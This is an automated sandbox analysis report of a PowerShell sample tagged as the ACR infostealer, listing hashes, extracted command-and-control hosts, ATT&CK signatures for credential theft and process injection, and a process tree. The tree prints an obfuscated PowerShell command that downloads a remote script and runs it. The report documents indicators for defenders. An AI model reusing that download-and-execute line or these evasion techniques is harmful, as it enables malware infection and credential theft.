acrstealer | 8ebe078141da5fa2e246e82cdc1335391b74758181500d2314248fb0cf7ca9f7

Analysis

max time kernel
123s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 18:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
20d37Eb6-6b-7.ps1
Size 79KB
Sample260925-w6wn2stemf
SHA256 8ebe078141da5fa2e246e82cdc1335391b74758181500d2314248fb0cf7ca9f7
MD5 da22c9712b9202bd919687d49bcf2f78
SHA1 8099d70da6d7bb9f66cdcfdf751b5abd7a117657
SHA512 92df489bc73bb0606127874017d6ba80463d0b04c0ed4a012cf3ae995aa7db6a81184fe7628f7e47e8a5ecdf9ff9aa3206508121c4f98700929785d81b077550
SSDEEP 1536:njpiYzbWMH2o5aH1VEmPiqAT6qpB6nQ1LxAZrnqL1dvPB/G:nliuWMHD5aH1VeqAeqf6nU1AhWJu
TLSH
T17F835F017E8096F0155EECB36F8A689A2FC8B033E39A4C6C7ACF4594FB476B94594D34
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer privilege_escalation spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.4.2-alpha1

media.hazelnook.cc

Decoy

fastly.net

Attributes

ddrs
https://telegra.ph/C-Introduction-08-21
guids
f1575b64-8492-4e8b-b102-4d26e8c70371

019fd84c-02e7-7a67-9097-4f73d632de4a
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 1908 created 4512	1908	rundll32.exe	83
PID 1908 created 4512	1908	rundll32.exe	83

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1260	powershell.exe
11	1908	rundll32.exe
12	1908	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1260	powershell.exe
4656	PowerShell.exe
6028	powershell.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	PowerShell.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2296	chrome.exe
5948	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1404337215-1550464601-2805570857-1000\{DC7B4F31-423B-478D-BD8D-7E14100511C1}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4656	PowerShell.exe
4656	PowerShell.exe
4656	PowerShell.exe
1260	powershell.exe
1260	powershell.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe
1908	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
1908	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

description	pid	Process
Token: SeDebugPrivilege	4656	PowerShell.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
1820	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 5184	4656	PowerShell.exe	91
PID 5184 wrote to memory of 2400	5184	csc.exe	92
PID 4656 wrote to memory of 5588	4656	PowerShell.exe	93
PID 5588 wrote to memory of 4296	5588	csc.exe	94
PID 4656 wrote to memory of 1260	4656	PowerShell.exe	95
PID 1260 wrote to memory of 5512	1260	powershell.exe	99
PID 5512 wrote to memory of 5920	5512	csc.exe	100
PID 1260 wrote to memory of 1908	1260	powershell.exe	101
PID 1260 wrote to memory of 1908	1260	powershell.exe	101
PID 1908 wrote to memory of 4496	1908	rundll32.exe	102
PID 4496 wrote to memory of 5600	4496	chrome.exe	103
PID 4496 wrote to memory of 1392	4496	chrome.exe	104
PID 4496 wrote to memory of 1392	4496	chrome.exe	104
PID 4496 wrote to memory of 2296	4496	chrome.exe	105
PID 4496 wrote to memory of 3532	4496	chrome.exe	106
PID 4496 wrote to memory of 3532	4496	chrome.exe	106
PID 4496 wrote to memory of 3424	4496	chrome.exe	108
PID 4496 wrote to memory of 3424	4496	chrome.exe	108
PID 4496 wrote to memory of 4164	4496	chrome.exe	109
PID 4496 wrote to memory of 4164	4496	chrome.exe	109
PID 4496 wrote to memory of 5064	4496	chrome.exe	110
PID 4496 wrote to memory of 5064	4496	chrome.exe	110
PID 4496 wrote to memory of 6100	4496	chrome.exe	111
PID 4496 wrote to memory of 6100	4496	chrome.exe	111
PID 4496 wrote to memory of 2848	4496	chrome.exe	112
PID 4496 wrote to memory of 3044	4496	chrome.exe	115
PID 4496 wrote to memory of 1248	4496	chrome.exe	114
PID 4496 wrote to memory of 3044	4496	chrome.exe	115
PID 4496 wrote to memory of 1248	4496	chrome.exe	114
PID 4496 wrote to memory of 5692	4496	chrome.exe	118
PID 4496 wrote to memory of 200	4496	chrome.exe	119
PID 4496 wrote to memory of 5692	4496	chrome.exe	118
PID 4496 wrote to memory of 948	4496	chrome.exe	120
PID 4496 wrote to memory of 200	4496	chrome.exe	119
PID 4496 wrote to memory of 948	4496	chrome.exe	120
PID 4496 wrote to memory of 4092	4496	chrome.exe	122
PID 4496 wrote to memory of 4092	4496	chrome.exe	122
PID 4496 wrote to memory of 1980	4496	chrome.exe	121
PID 4496 wrote to memory of 2888	4496	chrome.exe	123
PID 4496 wrote to memory of 1980	4496	chrome.exe	121
PID 4496 wrote to memory of 2888	4496	chrome.exe	123
PID 4496 wrote to memory of 5116	4496	chrome.exe	124
PID 4496 wrote to memory of 6048	4496	chrome.exe	125
PID 4496 wrote to memory of 5116	4496	chrome.exe	124
PID 4496 wrote to memory of 1168	4496	chrome.exe	126
PID 4496 wrote to memory of 6048	4496	chrome.exe	125
PID 4496 wrote to memory of 1168	4496	chrome.exe	126
PID 4496 wrote to memory of 3372	4496	chrome.exe	127
PID 4496 wrote to memory of 3372	4496	chrome.exe	127
PID 4496 wrote to memory of 1468	4496	chrome.exe	128
PID 4496 wrote to memory of 1468	4496	chrome.exe	128
PID 1908 wrote to memory of 1820	1908	rundll32.exe	129
PID 1820 wrote to memory of 1768	1820	msedge.exe	130
PID 1820 wrote to memory of 5948	1820	msedge.exe	131
PID 1820 wrote to memory of 2612	1820	msedge.exe	132
PID 1820 wrote to memory of 2612	1820	msedge.exe	132
PID 1820 wrote to memory of 2612	1820	msedge.exe	132
PID 1820 wrote to memory of 3964	1820	msedge.exe	133
PID 1820 wrote to memory of 3964	1820	msedge.exe	133
PID 1820 wrote to memory of 2256	1820	msedge.exe	135
PID 1820 wrote to memory of 3476	1820	msedge.exe	136
PID 1820 wrote to memory of 2256	1820	msedge.exe	135
PID 1820 wrote to memory of 2256	1820	msedge.exe	135
PID 1820 wrote to memory of 3476	1820	msedge.exe	136

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:4512
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\20d37Eb6-6b-7.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zicdj0vr\zicdj0vr.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5184
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1435.tmp" "c:\Users\Admin\AppData\Local\Temp\zicdj0vr\CSC946CA99EA3184940AEEB602E614047BA.TMP"
      4⤵
      PID:2400
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nqmzz3nu\nqmzz3nu.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5588
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1658.tmp" "c:\Users\Admin\AppData\Local\Temp\nqmzz3nu\CSC41C6F08470054757A514B07FE7E13E89.TMP"
      4⤵
      PID:4296
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$ProgressPreference='SilentlyContinue';$t='Net.WebClient';$m='DownloadString';$w=New-Object $t;$w.$m('https://viewable.top/install.ps1') | & (gcm i*x)"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1260
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\krtue11u.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5512
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES557F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9485854A1BD14FCCA8EA42CC670690.TMP"
        5⤵
        
        PID:5920
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:1908
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\jhwenmUOmo5laJm0\jhwenmktbNNJBot8.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6028
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1rqdqvrk\1rqdqvrk.cmdline"
        6⤵
        
        PID:3876
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3B0D.tmp" "c:\Users\Admin\AppData\Local\Temp\1rqdqvrk\CSCC919D33B7AF449D98651698289BD6F4.TMP"
        7⤵
        
        PID:5520
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n2dnh3aw\n2dnh3aw.cmdline"
        6⤵
        
        PID:1836
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3DCC.tmp" "c:\Users\Admin\AppData\Local\Temp\n2dnh3aw\CSCFC12247E2FE844CC817310F113A2EAFA.TMP"
        7⤵
        
        PID:4168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff8135dc728,0x7ff8135dc734,0x7ff8135dc740
    3⤵
    PID:5600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1612,i,5286845981617465603,3361297103457059076,262144 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
    3⤵
    PID:1392
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1484,i,9707979449257861726,16658718739959214576,524288 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=1956 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2296
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2312,i,7074570874814386271,18299304029954985091,524288 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=2656 /prefetch:13
    3⤵
    PID:3532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3204,i,4282097319346802285,14186324435492265008,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=3212 /prefetch:1
    3⤵
    PID:3424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3200,i,9959257535770119278,11794169043040841703,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=3244 /prefetch:1
    3⤵
    PID:4164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4460,i,7879714058565290117,13224024817477288884,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=4528 /prefetch:1
    3⤵
    PID:5064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4508,i,16866047723797332407,635480828391678678,524288 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=4548 /prefetch:14
    3⤵
    PID:6100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4704,i,2885930861971568540,11630430580577649041,524288 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:14
    3⤵
    PID:2848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4748,i,17920063000245932445,4032112405099126272,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:1
    3⤵
    PID:1248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3184,i,16772286062674211140,5406615416193001037,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=5364 /prefetch:1
    3⤵
    PID:3044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5820,i,16176277150255411906,4899135440473612874,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:1
    3⤵
    PID:5692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5832,i,16587862354969066246,8292161300448786818,524288 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:14
    3⤵
    PID:200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5984,i,15491627102676414004,10630137198470322574,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=3184 /prefetch:1
    3⤵
    PID:948
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6396,i,12633766718203830000,6480026509065984193,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:1
    3⤵
    PID:1980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5512,i,15746464973941739158,8127434761696079376,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:1
    3⤵
    PID:4092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
